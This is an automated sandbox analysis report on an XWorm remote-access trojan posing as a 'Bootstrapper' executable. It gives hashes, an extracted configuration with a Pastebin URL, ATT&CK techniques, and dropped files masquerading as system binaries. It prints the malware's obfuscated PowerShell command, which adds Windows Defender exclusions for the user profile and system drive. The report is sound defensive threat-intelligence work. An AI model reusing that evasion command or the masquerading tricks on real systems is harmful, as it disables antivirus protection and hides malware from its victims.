xworm | 9376c048648b422f2e84397e969f9d403a4fa6d30c2aabdaba2880e09761f28f

General

Target

Y1138_BootstrapperNew.exe
Size

2.9MB
MD5

ec8002f20ee00ec84138608ebb7d5154
SHA1

d77b5dfa71bf3b48e351d69a6b251c21c8650d0d
SHA256

9376c048648b422f2e84397e969f9d403a4fa6d30c2aabdaba2880e09761f28f
SHA512

3ee7644cea6fef18cc17f8a0a46408bdb2897fa2da7808e5bc8563786f3a529b2c57141123e2d29eaba03061273ca28d3b3d3ae5758089ce2d4d6a992d661487
SSDEEP

49152:gUcNWu+5IYryMRbEKRWomDRtL38nmVu4+0R/1nnBsfwGGQCEnNNemNznrYWfym//:gUD15XNRbVRWomDRtrbrNnnsbGQCEnNP

Score

10^/10

xworm defense_evasion discovery rat trojan

Malware Config

Extracted

Family

xworm

Attributes

Install_directory
%port%
install_file
svchost.exe
pastebin_url
https://pastebin.com/raw/GMv8QPCE

Signatures

Detect Xworm Payload 2 IoCs

resource	yara_rule
behavioral1/files/0x000c00000001202c-4.dat	family_xworm
behavioral1/memory/1960-13-0x0000000000010000-0x0000000000024000-memory.dmp	family_xworm

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm
Xworm family
xworm

Executes dropped EXE 3 IoCs

pid	Process
1960	WMI Provider Host.exe
2384	BootstrapperNew.exe
1188	Process not Found

Loads dropped DLL 1 IoCs

pid	Process
2396	Y1138_BootstrapperNew.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
4	ip-api.com

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010

Drops file in Windows directory 1 IoCs

description	ioc	Process
File created	C:\Windows\WMI Provider Host.exe	Y1138_BootstrapperNew.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Y1138_BootstrapperNew.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
280	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	1960	WMI Provider Host.exe
Token: SeDebugPrivilege	280	powershell.exe

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 2396 wrote to memory of 280	2396	Y1138_BootstrapperNew.exe	30
PID 2396 wrote to memory of 280	2396	Y1138_BootstrapperNew.exe	30
PID 2396 wrote to memory of 280	2396	Y1138_BootstrapperNew.exe	30
PID 2396 wrote to memory of 280	2396	Y1138_BootstrapperNew.exe	30
PID 2396 wrote to memory of 1960	2396	Y1138_BootstrapperNew.exe	32
PID 2396 wrote to memory of 1960	2396	Y1138_BootstrapperNew.exe	32
PID 2396 wrote to memory of 1960	2396	Y1138_BootstrapperNew.exe	32
PID 2396 wrote to memory of 1960	2396	Y1138_BootstrapperNew.exe	32
PID 2396 wrote to memory of 2384	2396	Y1138_BootstrapperNew.exe	33
PID 2396 wrote to memory of 2384	2396	Y1138_BootstrapperNew.exe	33
PID 2396 wrote to memory of 2384	2396	Y1138_BootstrapperNew.exe	33
PID 2396 wrote to memory of 2384	2396	Y1138_BootstrapperNew.exe	33

C:\Users\Admin\AppData\Local\Temp\Y1138_BootstrapperNew.exe
"C:\Users\Admin\AppData\Local\Temp\Y1138_BootstrapperNew.exe"
1⤵
- Loads dropped DLL
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2396
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGgAYQBoACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGMAeQBmACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGoAbQBkACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGQAawBhACMAPgA="
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:280
- C:\Windows\WMI Provider Host.exe
  "C:\Windows\WMI Provider Host.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:1960
- C:\Users\Admin\BootstrapperNew.exe
  "C:\Users\Admin\BootstrapperNew.exe"
  2⤵
  - Executes dropped EXE
  PID:2384

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Obfuscated Files or Information

1

T1027

Command Obfuscation

1

T1027.010

Credential Access

Discovery

System Information Discovery

1

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\BootstrapperNew.exe

Filesize
2.9MB

MD5
f227cdfd423b3cc03bb69c49babf4da3

SHA1
3db5a97d9b0f2545e7ba97026af6c28512200441

SHA256
cb5d6c1ca0aa6232a2d55e14b20ac4a9945a0bd063c57d60a5ed3ae94160e3e8

SHA512
b10afd03b02a928545c16fad39a6ae46b68b1e1a2477a6990803ce80008e7161fb2ebc9380ba15a1b074bb436aa34bcd6c94a922933d438b1c22489717e1e10e

Download Submit
C:\Windows\WMI Provider Host.exe

Filesize
57KB

MD5
7f4631cc67828fc55d6c8bd1af02bf44

SHA1
54d6e1c3e0b655d231d461e32d187c0f2338295d

SHA256
5361c6e459fd49ee6a11f586c5dd3a2626f1338cdc4ce661287f48966451a6dd

SHA512
f931f8bde5aa6c2d528031fd5505eb6a0044edddcd1c5798ef762102e8d59e5701087259258d5cc15fea59e1e199f2c870fa95ad748a8e20680096cc4d62c348

Download Submit
memory/1960-13-0x0000000000010000-0x0000000000024000-memory.dmp

Filesize
80KB

Download
memory/2384-24-0x000000001AF10000-0x000000001AF1A000-memory.dmp

Filesize
40KB

Download
memory/2384-16-0x00000000007D0000-0x00000000007DA000-memory.dmp

Filesize
40KB

Download
memory/2384-15-0x00000000007D0000-0x00000000007DA000-memory.dmp

Filesize
40KB

Download
memory/2384-17-0x00000000007D0000-0x00000000007E0000-memory.dmp

Filesize
64KB

Download
memory/2384-22-0x000000001AF20000-0x000000001AF28000-memory.dmp

Filesize
32KB

Download
memory/2384-14-0x0000000000820000-0x0000000000B02000-memory.dmp

Filesize
2.9MB

Download
memory/2384-23-0x000000001AF30000-0x000000001AF46000-memory.dmp

Filesize
88KB

Download
memory/2384-21-0x000000001AEE0000-0x000000001AF06000-memory.dmp

Filesize
152KB

Download
memory/2384-26-0x000000001AF50000-0x000000001AF58000-memory.dmp

Filesize
32KB

Download
memory/2384-25-0x0000000002740000-0x000000000274A000-memory.dmp

Filesize
40KB

Download
memory/2384-20-0x000000001AED0000-0x000000001AEDA000-memory.dmp

Filesize
40KB

Download
memory/2384-19-0x000000001E2F0000-0x000000001E3F0000-memory.dmp

Filesize
1024KB

Download
memory/2384-28-0x00000000007D0000-0x00000000007DA000-memory.dmp

Filesize
40KB

Download

Analysis

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